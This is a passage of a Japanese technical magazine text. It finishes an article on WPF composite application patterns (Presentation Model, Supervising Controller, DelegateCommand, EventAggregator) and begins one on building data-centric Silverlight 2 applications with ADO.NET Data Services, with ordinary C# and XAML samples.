  EmployeeDetails.Insert(1, new EmployeeAddressMapUrl());
  ...
}
図 9 EmployeeDetailsView を作成する
<ResourceDictionary
  xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
  xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
  xmlns:EmployeesDetailsView=
    "clr-namespace:ViewModelComposition.Modules.Employees.Views.EmployeesDetailsView">

  <DataTemplate
    DataType="{x:Type EmployeesDetailsView:HeaderedEmployeeData}">
    <Grid x:Name="GeneralGrid">
      <Grid.ColumnDefinitions>
        <ColumnDefinition></ColumnDefinition>
        <ColumnDefinition Width="5"></ColumnDefinition>
        <ColumnDefinition Width="*"></ColumnDefinition>
      </Grid.ColumnDefinitions>
      <Grid.RowDefinitions>
        <RowDefinition></RowDefinition>
        <RowDefinition></RowDefinition>
        <RowDefinition></RowDefinition>
        <RowDefinition></RowDefinition>
      </Grid.RowDefinitions>
      <TextBlock Text="First Name:" Grid.Column="0" Grid.Row="0">
      </TextBlock>
      <TextBlock Text="Last Name:" Grid.Column="2" Grid.Row="0">
      </TextBlock>
      <TextBlock Text="Phone:" Grid.Column="0" Grid.Row="2"></TextBlock>
      <TextBlock Text="Email:" Grid.Column="2" Grid.Row="2"></TextBlock>
      <TextBox x:Name="FirstNameTextBox"
        Text="{Binding Path=Employee.FirstName}"
        Grid.Column="0" Grid.Row="1"></TextBox>
      <TextBox x:Name="LastNameTextBox"
        Text="{Binding Path=Employee.LastName}"
        Grid.Column="2" Grid.Row="1"></TextBox>
      <TextBox x:Name="PhoneTextBox" Text="{Binding Path=Employee.Phone}"
        Grid.Column="0" Grid.Row="3"></TextBox>
      <TextBox x:Name="EmailTextBox" Text="{Binding Path=Employee.Email}"
        Grid.Column="2" Grid.Row="3"></TextBox>
    </Grid>
  </DataTemplate>

  <DataTemplate
    DataType="{x:Type EmployeesDetailsView:EmployeeAddressMapUrl}">
    <Frame Source="{Binding AddressMapUrl}" Height="300"></Frame>
  </DataTemplate>

  <DataTemplate DataType="{x:Type
    EmployeesDetailsView:EmployeesDetailsPresentationModel}">
    <TabControl x:Name="DetailsTabControl"
      ItemsSource="{Binding EmployeeDetails}" >
      <TabControl.ItemContainerStyle>
        <Style TargetType="{x:Type TabItem}"
          BasedOn="{StaticResource RoundedTabItem}">
          <Setter Property="Header" Value="{Binding HeaderInfo}" />
        </Style>
      </TabControl.ItemContainerStyle>
    </TabControl>
  </DataTemplate>
</ResourceDictionary>
コレクション内のアイテムごとに別々のタブがレンダリングされます。最初のアイテムがレンダリングされるときに、WPF は HeaderedEmployeeData に対して指定された DataTemplate を使用します。HeaderedEmployeeData モデルには、従業員名と連絡先情報が含まれます。関連テンプレートは、情報を表示するための一連のラベルとしてモデルをレンダリングします。2 つ目のアイテムは、EmployeeAddressMapUrl に対して指定されたテンプレートを使用してレンダリングされます。この場合は、従業員が居住している場所の地図が表示された Web ページを含むフレームをレンダリングします。
モデルとその関連テンプレートの組み合わせを通じて、あらかじめ知っていたビューのみが実行時に実際に存在するという点で、これはかなり大きなパラダイム シフトです。(Stock Trader で示されているように) 両方のアプローチのハイブリッドを実装することもできます。ハイブリッドでは、テンプレートを通じてレンダリングされるモデルにバインドされるコントロールを含むユーザー コントロールがあります。

分離されたプレゼンテーション
この記事で述べたように、複合を作成する利点の 1 つは、コードが管理およびテストしやすくなることです。これを実現するためにビュー内で適用できるプレゼンテーション パターンがいくつか確立されています。Composite Application Guidance for WPF 全体を通じて、UI で使用される 2 つの再帰パターンがあります。それは、Presentation Model と Supervising Controller です。
Presentation Model パターンでは、UI の動作とデータの両方を含むモデルを想定します。ビューは、プレゼンテーション モデルの状態を "ガラスに" 投影します。
背後では、モデルはビジネス モデルおよびドメイン モデルと対話します。モデルには、選択したアイテムや、要素がチェックされているかどうかなど、追加の状態情報も含まれます。ビューは Presentation Model に直接バインドし、これをレンダリングします (図 10 を参照)。WPF でのデータ バインド、テンプレート、およびコマンドの豊富なサポートにより、Presentation Model パターンは魅力的な開発オプションになります。
図 10 Presentation Model パターン (クリックすると拡大画像が表示されます)
Stock Trader アプリケーションでは、位置サマリーなどで Presentation Model を慎重に使用しています。
public class PositionSummaryPresentationModel :
  IPositionSummaryPresentationModel, INotifyPropertyChanged {
  public PositionSummaryPresentationModel(
    IPositionSummaryView view,...) {
    ...
  }

  public IPositionSummaryView View { get; set; }
  public ObservableCollection<PositionSummaryItem>
    PositionSummaryItems {
    get; set; }
}
PositionSummaryPresentationModel が INotifyPropertyChanged を実装してビューに変更を通知していることがわかります。PositionSummaryPresentationModel はコンテナから解決されるため、ビュー自体はその IPositionSummaryView インターフェイスを通じてコンストラクタに注入されます。このインターフェイスにより、ビューを単体テストでモック作成できます。Presentation Model は、識別可能な PositionSummaryItem のコレクションを公開します。これらのアイテムは、PostionSummaryView にバインドされてレンダリングされます。
Supervising Controller パターンには、モデル、ビュー、およびプレゼンタが存在します。これを図 11 に示します。モデルはデータであり、たいていはビジネス オブジェクトです。ビューは、モデルが直接バインドする UIElement です。最後に、プレゼンタは UI ロジックを含むクラスです。このパターンでは、ビューにはプレゼンタに委任してプレゼンタからのコールバックに応答し、コントロールの表示や非表示などの単純なアクションを実行する以外のロジックはほとんど含まれていません。
図 11 Supervising Controller パターン (クリックすると拡大画像が表示されます)
Presentation Model を優先している Stock Trader アプリケーションでも、Supervising Controller パターンがいくつかのインスタンスで使用されています。1 つの例は、トレンド ラインです (図 12 を参照)。PositionSummaryPresentationModel と同様に、TrendLinePresenter には ItrendLineView インターフェイスを通じて TrendLineView が注入されています。プレゼンタは、委任ロジックを通じてビューが呼び出す OnTickerSymbolSelected メソッドを公開します。このメソッドでは、プレゼンタはビューにコールバックして、その UpdateLineChart メソッドと SetChartTitle メソッドを呼び出します。
図 12 トレンド ラインを表示する
public class TrendLinePresenter : ITrendLinePresenter {
  IMarketHistoryService _marketHistoryService;

  public TrendLinePresenter(ITrendLineView view,
    IMarketHistoryService marketHistoryService) {
    this.View = view;
    this._marketHistoryService = marketHistoryService;
  }

  public ITrendLineView View { get; set; }

  public void OnTickerSymbolSelected(string tickerSymbol) {
    MarketHistoryCollection historyCollection =
      _marketHistoryService.GetPriceHistory(tickerSymbol);
    View.UpdateLineChart(historyCollection);
    View.SetChartTitle(tickerSymbol);
  }
}

分離されたプレゼンテーションを実装するときの課題の 1 つは、ビューとプレゼンテーション モデルまたはプレゼンタ間の通信です。これを処理するアプローチはいくつかあります。よく実装されるアプローチでは、プレゼンテーション モデルまたはプレゼンタに対するイベントを直接呼び出すかまたは発生させるイベント ハンドラをビューに作成します。プレゼンタへの呼び出しを開始する同じ UIElement は、状態変化または権限に基づいて UI で有効または無効にする必要があります。そのためには、これらの要素を無効にするためにコールバックに使用できるメソッドがビューに必要です。
もう 1 つのアプローチは、WPF コマンドを使用することです。コマンドは、相互の委任ロジックを必要とすることなく、これらの状況に明確に対処する方法を提供します。WPF 内の要素は、コマンドにバインドして、実行ロジックと要素の有効化または無効化の両方を処理できます。UIElement は、コマンドにバインドされると、コマンドの CanExecute プロパティが false の場合は常に自動的に無効になります。コマンドは、XAML で宣言によってバインドできます。
WPF には、すぐに使用できる RoutedUICommands が用意されています。これらのコマンドを使用するには、ビューの分離コード内に Execute メソッドと CanExecute メソッドのハンドラが必要です。これは、相互通信を行うにはコード変更が必要であることを意味します。RoutedUICommands には、WPF の論理ツリーにレシーバが必要であるなど、その他の制約もあります。この制約は、複合の作成で問題になる場合があります。
さいわい、RoutedUICommands は、コマンドの実装の 1 つにすぎません。WPF は ICommand インターフェイスを提供し、これを実装する任意のコマンドにバインドします。このため、あらゆるニーズを満たすカスタム コマンドを作成でき、分離コードに触れる必要はありません。欠点は、SaveCommand、SubmitCommand、CancelCommand などのカスタム コマンドをあらゆる場所で実装する必要があることです。
CAL には、Execute メソッドと CanExecute メソッドの 2 つの委任をコンストラクタで指定できる DelegateCommand<T> など、新しいコマンドが含まれています。このコマンドを使用すると、ビュー自体に定義されているメソッドを通じて委任する必要や、アクションごとにカスタム コマンドを作成する必要なしに、ビューを関連付けることができます。
Stock Trader アプリケーションでは、ウォッチ リストなどのいくつかの場所で DelegateCommand を使用しています。WatchListService は、ウォッチ リストにアイテムを追加するためにこのコマンドを使用します。
public WatchListService(IMarketFeedService marketFeedService) {
  this.marketFeedService = marketFeedService;
  WatchItems = new ObservableCollection<string>();
  AddWatchCommand = new DelegateCommand<string>(AddWatch);
}

ビューとプレゼンタ、またはビューとプレゼンテーション モデル間のコマンドのルーティングに加えて、イベント発行など、複合での処理が必要な他の種類の通信もあります。これらの場合は、発行元がサブスクライバから完全に分離されます。たとえば、モジュールは、サーバーからの通知を受信する Web サービス エンドポイントを公開できます。通知が受信された後で、同じモジュールまたは他のモジュール内のコンポーネントがサブスクライブできるイベントを生成する必要があります。
この機能をサポートするために、CAL には、コンテナに登録される EventAggregator サービスがあります。Event Aggregator パターンの実装であるこのサービスを使用すると、発行元とサブスクライバが疎結合形式で通信できます。EventAggregator サービスには、抽象 EventBase クラスのインスタンスであるイベントのリポジトリが含まれます。サービスには、イベント インスタンスを取得するための 1 つの GetEvent<TEventType> メソッドがあります。
CAL には、EventBase を継承し、WPF の特定のサポートを提供する CompositeWPFEvent<TPayload> クラスがあります。このクラスは、完全な .NET イベントではなく委任を使用して発行を行います。実際には、弱い委任として機能する DelegateReference クラスを既定で使用します (弱い委任の詳細については、msdn.microsoft.com/library/ms404247 を参照してください)。これにより、サブスクライバでは、明示的にサブスクライブ解除しない場合でもガベージ コレクションを行うことができます。
CompositeWPFEvent クラスには、Publish、Subscribe、および Unsubscribe メソッドが含まれます。それぞれ、汎用的な種類のイベント情報を使用して、発行元が正しいパラメータを渡し (TPayload)、Subscriber プロパティがそれらを受け取る (Action<TPayload>) ことを確認します。Subscribe メソッドでは、PublisherThread、UIThread、または BackgroundThread に設定できる ThreadOption を渡すことができます。このオプションによって、サブスクライブの委任が呼び出されるスレッドを決定できます。また、Subscribe メソッドがオーバーロードされ、Predicate<T> フィルタを渡せるようになるため、サブスクライバはフィルタが要件を満たすときにのみイベントの通知を受け取ります。
Stock Trader アプリケーションでは、EventAggregator はポジション画面でシンボルが選択されているかどうかを選択されるたびにブロードキャストに使用されます。News モジュールは、このイベントをサブスクライブし、そのファンドのニュースを表示します。次に、機能の実装方法を示します。
public class TickerSymbolSelectedEvent :
  CompositeWpfEvent<string> {
}
最初に、StockTraderRI.Infrastructure アセンブリでイベントが定義されます。これは、すべてのモジュールが参照する共有アセンブリです。
public void Run() {
  this.regionManager.Regions["NewsRegion"].Add(
    articlePresentationModel.View);
  eventAggregator.GetEvent<TickerSymbolSelectedEvent>().Subscribe(
    ShowNews, ThreadOption.UIThread);
}

public void ShowNews(string companySymbol) {
  articlePresentationModel.SetTickerSymbol(companySymbol);
}
News モジュールの NewsController は、Run メソッドでこのイベントをサブスクライブします。
private void View_TickerSymbolSelected(object sender,
  DataEventArgs<string> e) {
  _trendLinePresenter.OnTickerSymbolSelected(e.Value);

  EventAggregator.GetEvent<TickerSymbolSelectedEvent>().Publish(
    e.Value);
}
PositionSummaryPresentation モデルは、シンボルが選択されるたびにイベントを生成します。

まとめ
ガイダンスは、microsoft.com/compositewpf からダウンロードしてください。コードを実行するために必要なのは、.NET Framework 3.5 がインストールされていることだけです。
ガイダンスには、作業の開始に役立つツールが含まれています。クイックスタートは、複合アプリケーションの作成のさまざまな側面に焦点を当てた理解しやすいサンプルを提供します。参照実装では、さまざまな側面をすべて利用する包括的な例を提供しています。最後に、ドキュメントには、背景情報、特定のタスクに関する完全な操作方法のセット、およびハンズオン ラボが記載されています。
ガイダンスを使用するときに、ご意見を CodePlex フォーラムに投稿するか、cafbk@microsoft.com に電子メールでお送りください。
Glenn Block は、.NET Framework 4.0 の新しい Managed Extensibility Framework (MEF) の PM です。MEF に取り組む前は、Prism およびその他のクライアント ガイダンスを担当する patterns & practices の製品プランナでした。Glenn は卓越した知識を持ち、ALT.NET などのカンファレンスやグループでその専門知識を広めることに時間を費やしています。


データ サービス
Silverlight 2 でデータ中心の Web アプリケーションを作成する
Shawn Wildermuth
コードのダウンロード : SLDataServices2008_09a.exe (234 KB)
オンラインでのコードの参照

この記事は、Silverlight 2 および ADO.NET Data Services のプレリリース版に基づいて書かれています。ここに記載されているすべての情報は、変更される場合があります。
この記事では、次の内容について説明します。
  • Silverlight のデータ ソースへの接続
  • ADO.NET Data Services の使用
  • LINQ to SQL の使用
  • サービスのデバッガ
 この記事では、次のテクノロジを使用しています。
Silverlight 2 Beta 2、LINQ、ADO.NET Data Services
目次
ADO.NET Data Services
サービスを作成する
データを照会および更新する
Silverlight 2.0 クライアント ライブラリ
関連エンティティを読み込む
変更管理
サービスを通じて更新する
サービスをデバックする
まとめ
基幹業務アプリケーションおよび他のデータ中心のアプリケーションは Silverlight™ で構築できますが、Silverlight でのデータ操作は必ずしも単純というわけではありません。Silverlight にはデータの利用や Web サービスおよび XML のサポートに必要な多数のツールが用意されていますが、これらのツールではファイアウォール越しのデータ アクセスの基本機能のみが提供されます。
一般的なデータ アクセス戦略では Web サービスとクライアント側の LINQ を組み合わせて使用しますが、これは既存の Web サービス エンドポイントを利用して Silverlight アプリケーションを強化する場合に強く推奨される方法です。しかし、特に Silverlight で動作する新しい Web サービスを作成する場合には不要なコストが生じます。
一般的な Web サービス層では従来的なデータ アクセス戦略をサーバーに実装し (カスタム ビジネス オブジェクト、LINQ to SQL、Entity Framework、NHibernate など)、Web サービスを介してデータ オブジェクトを公開します。このとき Web サービスは基になるデータ アクセス戦略へのゲートウェイにすぎません。
しかし、データに対する完全な接続を有効にするには、Web サービスのメソッドに 4 種類のデータ操作 (作成、読み取り、更新、および削除) をマップする必要があります。たとえば、Product クラスをサポートする単純なサービス コントラクトは、図 1 のようになります (記事内では C# を使用しますが、ダウンロード コードには Visual Basic® コードも含まれています)。
図 1 単純な Product Web サービス用のサービス コントラクト
[ServiceContract]
public interface ICustomerService
{
  [OperationContract]
  List<Product> GetAllProducts();

  [OperationContract]
  Product GetProduct(int productID);

  [OperationContract]
  List<Product> GetAllProductsWithCategories();

  [OperationContract]
  Product SaveProduct(Product productToSave);

  [OperationContract]
  void DeleteProduct(Product productToDelete);
}
アプリケーションのデータ モデル全体で動作する一連のサービスの作成には非常に時間がかかる場合があります。また、この例が示すように、機能に特化した操作では Web サービスが膨張することもあります。つまり、時間が経つにつれて Web サービスには新しい要件や操作が追加され、中には実際にコア ビジネス ドメインに属さない操作も含まれます。
たとえば、図 1 にある操作 GetAllProductsWithCategories を使用すると Product が取得され、既定でカテゴリが含まれます。この単純な例に、並べ替え、フィルタ処理、さらにはページングのメカニズムが追加されても不思議ではありません。これらのメカニズムを手動で作成するのを続ける代わりに、データ操作 (照会、並べ替え、フィルタ処理など) をサポートする単純な方法があると便利です。そこで、ADO.NET Data Services を使います。

ADO.NET Data Services
ADO.NET Data Services の目的は、データ モデルに Web アクセス可能なエンドポイントを提供することです。これらのエンドポイントではサーバーからのデータをフィルタ処理、並べ替え、整形、およびページングする手段が提供されます。開発者がこれらの機能をカスタムに構築する必要はありません。基本的に、各エンドポイントは LINQ クエリの開始点です。エンドポイントからは、実際に探しているデータを照会できます。
しかし、ADO.NET Data Services を単なる別のデータ アクセス戦略と考えることはできません。ADO.NET Data Services では直接のデータ アクセスは実行されません。これは実際、シリアル化、照会、および更新をサポートするデータ アクセス テクノロジの上に階層化されます。データの照会や更新のジョブは、この基になるデータ アクセス層に残されます。図 2 に、一般的なアプリケーション アーキテクチャでの ADO.NET Data Services とその配置を示します。
図 2 ADO.NET Data Services の層 (クリックすると拡大画像が表示されます)
ADO.NET Data Services は実際のデータ アクセス操作をデータ アクセス機能に依存しているため、この操作を指定する方法が必要になります。ADO.NET Data Services では、各サービスが LINQ 対応プロバイダによってサポートされている必要があります。実際には、各エンドポイントが IQueryable エンドポイントになります。このため、ADO.NET Data Services では IQueryable をサポートするすべてのオブジェクトがサポートされます。

サービスを作成する
プロジェクトに ADO.NET Data Services を追加すると新しい .svc ファイルが作成されますが、これはサービスを表すクラスです。Web サービスとは異なり、実際にはサービス操作を自身で実装せず、ほとんどの煩雑な処理は DataService クラスに任せます。サービスを実行するために必要ないくつかの小さいタスクがあります。まず、DataService クラスはコンテキスト オブジェクトと呼ばれる型パラメータを必要とします。コンテキスト オブジェクトはサービスとして公開されるデータを記述するクラスです。リレーショナル データベースのデータがサービスで公開される場合、このクラスは一般に Entity Framework の ObjectContext または LINQ to SQL の DataContext から派生します。
// Use my NorthwindEntities context object
// as the source of the Service's Data
public class Products : DataService<NorthwindEntities>
コンテキスト オブジェクトに基本クラスの要件はありません。実際、プロパティで IQueryable インターフェイスを実装しさえすれば独自のクラスを作成できます。ADO.NET Data Services ではこれらのプロパティがエンドポイントとして公開されます。
public class StateContext
{
  StateList _states = new StateList();
  public IQueryable<State> States
  {
    get { return _states.AsQueryable<State>(); }
  }
}
InitializeService 呼び出しで渡される IDataServiceConfiguration オブジェクトを使用して、サービスで許可されるアクセス許可の種類を指定できます。ADO.NET Data Services では、図 3 に示すように、名詞と動詞の抽象化を使用してアクセス許可を指定します。
図 3 アクセス ルールの設定
// This method is called only once to initialize service-wide policies.
public static void InitializeService(IDataServiceConfiguration config)
{
  // Only allow us to read or update Products Entities
  // not Delete or Create
  config.SetEntitySetAccessRule("Products",
                                EntitySetRights.AllRead |
                                EntitySetRights.WriteUpdate);

  // Only Allow Reading of Category and Supplier Entities
  config.SetEntitySetAccessRule("Categories", EntitySetRights.AllRead);
  config.SetEntitySetAccessRule("Suppliers", EntitySetRights.AllRead);

}
この処理を行うと、サービスを直接参照できます。各エンドポイントごとに Atom フィード情報が表示されます。ADO.NET Data Services のデバッグでは、Internet Explorer® の RSS フィード ビューを無効にするか、または別のブラウザを使用してサービスの XML 形式を表示することをお勧めします。

データを照会および更新する
ADO.NET Data Services ではサービスが REST (Representational State Transfer) ベースのサービスとして公開されますが、これは SOAP ベースのサービスではありません。つまり、SOAP エンベロープではなくサービスからの応答のペイロードに、要求メタデータではなくデータのみが含まれています。すべての要求は HTTP 動詞 (GET、PUT、POST など) と要求 URI の組み合わせを使用して記述されます。図 4 に示すような Products、Categories、および Suppliers を記述するモデルがあるとします。この結果生じる ADO.NET Data Services のサービスには 3 つのエンドポイントがあり、それぞれがモデルのエンティティ セットに対応します。モデルのエンティティ セットに対応する URI は単純なサービスとエンドポイント名のアドレスであり、http://localhost/{ServiceName}/{EndPointName} つまり http://localhost/Product.svc/Products のようになります。
図 4 データ モデルのサンプル (クリックすると拡大画像が表示されます)
この URI 構文では、固有のエンティティの取得、結果の並べ替え、フィルタ処理、ページング、および整形などのさまざまな機能のホストがサポートされます。
ADO.NET Data Services はこのような URL 形式のクエリを使用してサービスのコンシューマにデータを返します。現在、JSON (JavaScript Object Notation) および Atom ベースの XML という 2 つのシリアル化形式がサポートされています (将来のバージョンでは拡張される予定です)。JSON はクライアント側の Web コードで簡単に使用できる形式ですが、Atom は XML ベースの形式であり XML パーサーによるその後のサポートが必要です。
クエリでシリアル化形式の指定を要求する代わりに、ADO.NET Data Services は標準の HTTP accept ヘッダーを使用してクライアントにどちらの形式を返すかを決定します。XML が利用可能なクライアント (ブラウザなど) から要求を発行し、Accept ヘッダーで優先的な形式の種類を指定しない場合、返されるデータの既定の形式は Atom になります。
データの照会はソリューションの一部にすぎません。最終的なソリューションでは照会と更新の両方をサポートする必要があります。これらのすべての要件をサポートするため、ADO.NET Data Services では基本的な 4 つのデータ アクセス操作が基本的な 4 つの HTTP 動詞にマップされます (図 5 を参照)。
図 5 データ アクセス動詞と HTTP 動詞
データ アクセス動詞 | HTTP 動詞
作成 | POST
読み取り | GET
更新 | PUT
削除 | DELETE
これらの動詞を使用すると、ADO.NET Data Services ではサービスのコンシューマが異なる種類の特殊なエンドポイントを作成せずに、すべての種類のデータ操作を利用できます。ADO.NET Data Services で動作するデータを更新するための唯一の要件は、基になるデータ アクセス テクノロジが IUpdatable インターフェイスをサポートしていることです。このインターフェイスは ADO.NET Data Services からデータ ソースへの更新の伝達方法を定義するコントラクトです。
現在、このインターフェイスをサポートしているデータ アクセス テクノロジは Entity Framework のみです。将来的に、(LINQ to SQL、LLBGenPro、および NHibernate を含む) 多くの層でもサポートされることが期待されます。ここまでで ADO.NET Data Services が理解できたので、Silverlight 2 で使ってみることにします。

Silverlight 2.0 クライアント ライブラリ
ADO.NET Data Services で URI 構文を通じてクエリの発行とデータの更新を行い、XML を直接操作する場合に、必要な機能は実行できますが、依然として多くの機能を構築することになります。そこで、Silverlight 対応 ADO.NET Data Services クライアント ライブラリを使用します。このライブラリを (コマンドライン ツールと共に) 使用すると、Silverlight アプリケーションで LINQ クエリを直接発行することができ、クエリはクライアント ライブラリによって HTTP クエリまたはデータ サービスへの更新要求に変換されます。
開始の前に、いくつかのコードを生成する必要があります。このコード生成は ADO.NET Data Services サービスのメタデータを読み取り、サービス エンティティのデータのみのクラスと、サービス自体を表すクラスを生成します。
コードの生成には、Microsoft® .NET Framework 3.5 フォルダ (通常は c:\windows\Microsoft.NET\Framework\v3.5\) に収められている DataSvcUtil.exe ツールを使用します。以下のように、ツールを実行し、サービスの URI、出力コード ファイル、コードの作成言語を指定します。
DataSvcUtil.exe –uri:http://localhost/Product.svc –out:data.cs
  –lang:CSharp
これにより、エンドポイントごとのデータ コントラクト クラスおよび DataServiceContext の派生クラスの新しいファイルが作成されます。DataServiceContext クラスはサービスのエントリ ポイントとして使用され、クエリの実行が可能なサービス エンドポイントを公開します。このクラスを Silverlight プロジェクトに追加し、System.Data.Services.Client.dll (Silverlight 2 Beta 2 SDK の一部) への参照を追加すると、ADO.NET Data Services の操作に必要なすべてのコードが揃います。
Silverlight クライアント コードは、.NET を対象とするコードで作成する他の LINQ ベースのクエリと同じです。DataServiceContext の派生クラスを作成し、そのクラスに対して LINQ クエリを発行します。以下のようになります。
// Create the Service class specifying the
// location of the ADO.NET Data Services
NorthwindEntities ctx =
  new NorthwindEntities(new Uri("Products.svc", UriKind.Relative));

// Create a LINQ Query to be issued to the service
var qry = from p in ctx.Products
               orderby p.ProductName
                select p;
このクエリを実行すると、必要なデータを取得する Web 要求が発行されます。ただし、この Silverlight コードが標準の LINQ クエリと大きく異なる点は、Silverlight では同期 Web 要求が許可されない点です。そのため、以下のように、非同期での実行のためにまずクエリを DataServiceQuery<T> オブジェクトにキャストし、BeginExecute を明示的に呼び出して、非同期の実行を開始する必要があります。
// Cast to a DataServiceQuery<Product>
// (since the query is returning Products)
DataServiceQuery<Product> productQuery =
  (DataServiceQuery<Product>)qry;

  // Execute the Query Asynchronously specifying
  // a callback method
  productQuery.BeginExecute(new
    AsyncCallback(OnLoadComplete),
    productQuery);
クエリが実行されると (操作の成功または失敗にかかわらず)、AsyncCallback に指定されたメソッドが実行されます。ここには、実際の結果を処理する LINQ クエリを列挙できます。一般には、図 6 のように、AsyncCallback に元のクエリを含めると、コールバック メソッドで取得できます (またはクラスの一部として保存できます)。
図 6 コレクションに結果を追加する
void OnLoadComplete(IAsyncResult result)
{
  // Get a reference to the Query
  DataServiceQuery<Product> productQuery =
    (DataServiceQuery<Product>)result.AsyncState;

  try
  {
    // Get the results and add them to the collection
    List<Product> products = productQuery.EndExecute(result).ToList();

  }
  catch (Exception ex)
  {
    if (HtmlPage.IsEnabled)
    {
      HtmlPage.Window.Alert("Failed to retrieve data: " + ex.ToString());
    }
  }

}
これまで LINQ を使ったことがない読者には、このパターンはきわめてなじみの浅い方法です。現時点では非同期パッケージ (ThreadPool や BackgroundWorker など) で LINQ を実行する以外に、非同期 LINQ の優れたパターンはありません。Silverlight ではすべての要求が非同期であることが要求されるため、ADO.NET Data Services クライアント ライブラリを使用するにはこのパターンが必要になります。

関連エンティティを読み込む
ADO.NET Data Services では、関連エンティティを読み込む方法を選択することも可能です。前述の例では、サーバーから製品を読み込んでいました。それぞれの製品は、製品のカテゴリおよび製品のサプライヤとの関係を保持しています。
前に使用した LINQ クエリでは、製品のみを取得していました。サプライヤまたはカテゴリ情報を表示する必要があっても、この情報は直ちにアクセスできる状態にありませんでした。この情報を必要に応じて読み込むか、または、サーバーへの元のクエリで明示的に取得する必要がありました。どちらの方法にも利点はありますが、すべてのオブジェクトの情報が必要になるとわかっている場合、通常は明示的な読み込みの方がはるかに効率的です。いくつかのエンティティのデータのみを読み込む場合は、オンデマンドの取得の方が適しています。
既定では、関係プロパティ (Product.Supplier など) がある場合は、プロパティを明示的に読み込まないとそのプロパティは null になります。オンデマンドの読み込みを簡素化するため、DataServiceContext クラスには BeginLoadProperty メソッド (同じ非同期モデルに従います) が用意されており、以下のようにソース エンティティ、プロパティ名、およびコールバックを指定します。
public void LoadSupplierAsync(Product theProduct)
{
  TheContext.BeginLoadProperty(theProduct,
                               "Supplier",
                               new AsyncCallback(SupplierLoadComplete),
                               null);
  }

  public void SupplierLoadComplete(IAsyncResult result)
  {
    TheContext.EndLoadProperty(result);
  }
EndLoadProperty が呼び出されると、プロパティが関連エンティティで正しく読み込まれています。多くの場合、これらの読み込みを元のクエリで明示的に行う必要があります。これを簡素化するため、LINQ プロバイダでは Expand 拡張メソッドがサポートされています。このメソッドでは、クエリの実行時に読み込むプロパティ パス名を指定できます。Expand 拡張メソッドは LINQ クエリの From 句で使用され、これらの関連エンティティの読み込みを試みるようプロバイダに通知します。たとえば、Category と Supplier の両方で Expand メソッドを使用するように元のクエリを変更すると、元のクエリの実行時にオブジェクトによってこれらの関連エンティティが読み込まれます。
var qry =
  from p in TheContext.Products.Expand("Supplier").Expand("Category")
          orderby p.ProductName
          select p;
ADO.NET Data Services からデータを読み取るだけであれば、これで作業は完了です。クエリの作成、実行、および関連エンティティの読み込み方法を知っているだけで十分です。実際にデータを変更する場合は、若干の追加作業を行います。新しいデータを Silverlight コントロールにバインドすれば完成です。

変更管理
ADO.NET Data Services クライアント ライブラリではオブジェクトの自動的な変更の監視がサポートされていません。したがって、オブジェクト、コレクション、および関係が変更された場合にこれらの変更を DataServiceContext オブジェクトに通知するのは開発者に一任されます。DataServiceContext オブジェクトへの通知 API はかなり単純です。図 7 にこれらを示します。
図 7 DataServiceContext の変更 API
メソッド | 説明
AddObject | 新規作成されたオブジェクトを追加します。
UpdateObject | オブジェクトの変更をマークします。
DeleteObject | 削除するオブジェクトをマークします。
AddLink | 2 つのオブジェクト間のリンクを追加します。
UpdateLink | 2 つのオブジェクト間のリンクを更新します。
DeleteLink | 2 つのオブジェクト間のリンクを削除します。
つまり、オブジェクトへの変更を監視し、独自のコードで DataServiceContext オブジェクトに通知する必要があります。自動的な変更管理が存在しないことは一見残念なことのようですが、これが効率的で小さいライブラリを実現しています。
オブジェクトに対する変更をどのように監視するのか気になる読者もいるかもしれません。その答えは生成されたコードです。生成された各データ コントラクト クラスには、クラスのデータの変更時に呼び出される部分メソッドがあります (部分メソッドの詳細については、go.microsoft.com/fwlink/?LinkId=122979 を参照してください)。これらのメソッドを実装しない場合、クラスではこの変更通知によるオーバーヘッドが生じません。変更をサポートする任意のデータ コントラクトに対して部分メソッド メカニズムを使用して、変更通知を実装できます。部分メソッドで DataServiceContract を呼び出すだけでよく、DataServiceContract クラスの結合は必要ありません。
さいわい、Silverlight では変更通知用のインターフェイス (INotifyPropertyChange) が既にサポートされています。データが変更されたことを必要な対象に通知するには、実装でこのインターフェイスを利用します。たとえば、データ コントラクト クラス (この場合は Product クラス) で INotifyPropertyChange を実装して、オブジェクトの変更時に起動されるイベントを定義できます。このコードを次に示します。
public partial class Product : INotifyPropertyChanged
{
  public event PropertyChangedEventHandler PropertyChanged;
}
この実装によって、プロパティの変更時にイベントを発生させることができます。生成されたデータ コントラクト クラスで呼び出される部分メソッドを実装することで、このイベントを発生させるタイミングを決定できます。たとえば、ProductName プロパティの変更をサブスクライバに通知するには、OnProductNameChanged 部分メソッドを実装し、変更されたプロパティをイベント サブスクライバに特定する ProductName を渡して、PropertyChanged イベントを起動するだけです。このコードを次に示します。
partial void OnProductNameChanged()
{
  if (PropertyChanged != null)
  {
    PropertyChanged(this, new PropertyChangedEventArgs("ProductName"));
  }
}
書き込み可能なすべてのプロパティに対しこれらの部分メソッドを実装することで、オブジェクトに対する変更を簡単に監視できます。次に、PropertyChanged イベントに登録し、オブジェクトの変更を DataServiceContext オブジェクトに通知できます。
// In the OnLoadComplete method
// Get the results and add them to the collection
List<Product> products = productQuery.EndExecute(result).ToList();

foreach (Product product in products)
{
  // Wireup Change Notification
  product.PropertyChanged +=
    new PropertyChangedEventHandler(product_PropertyChanged);
}
最後に、DataServiceContext オブジェクトに通知する product_PropertyChanged メソッドを実装できます。
void product_PropertyChanged(object sender, PropertyChangedEventArgs e)
{
  Product product = (Product)sender;
  TheContext.UpdateObject(product);
}
同様に、図 8 に示すように、オブジェクトが作成または削除されたときは DataServiceContext に通知する必要があります。
図 8 作成および削除の通知
void addNewButton_Click(object sender, RoutedEventArgs e)
{
  Product theProduct = new Product();
  // ...
  TheContext.AddObject(theProduct);
}

void deleteButton_Click(object sender, RoutedEventArgs e)
{
  Product theProduct = (Product)theList.SelectItem;
  TheContext.DeleteObject(theProduct);
  theCollection.Remove(theProduct);
}
これらのすべてのコードが作成できたら、Silverlight UI でオブジェクトを変更し、データ バインドと変更通知のコードを通じて、DataServiceContext が行われた変更を確実に認識するようにできます。では、実際のサービスの更新はどのように実行するのでしょうか。

サービスを通じて更新する
DataServiceContext オブジェクトがデータの変更を認識するようになったので、それらの変更をサーバーに通知する手段が必要です。DataServiceContext クラスには、これに役立つ BeginSaveChanges メソッドが用意されています。このメソッドは、この記事で前述したクエリと同じ非同期モデルに従います。BeginSaveChanges メソッドは、以下に示すように、DataServiceContext のすべての変更を認識し、サーバーに送信します。
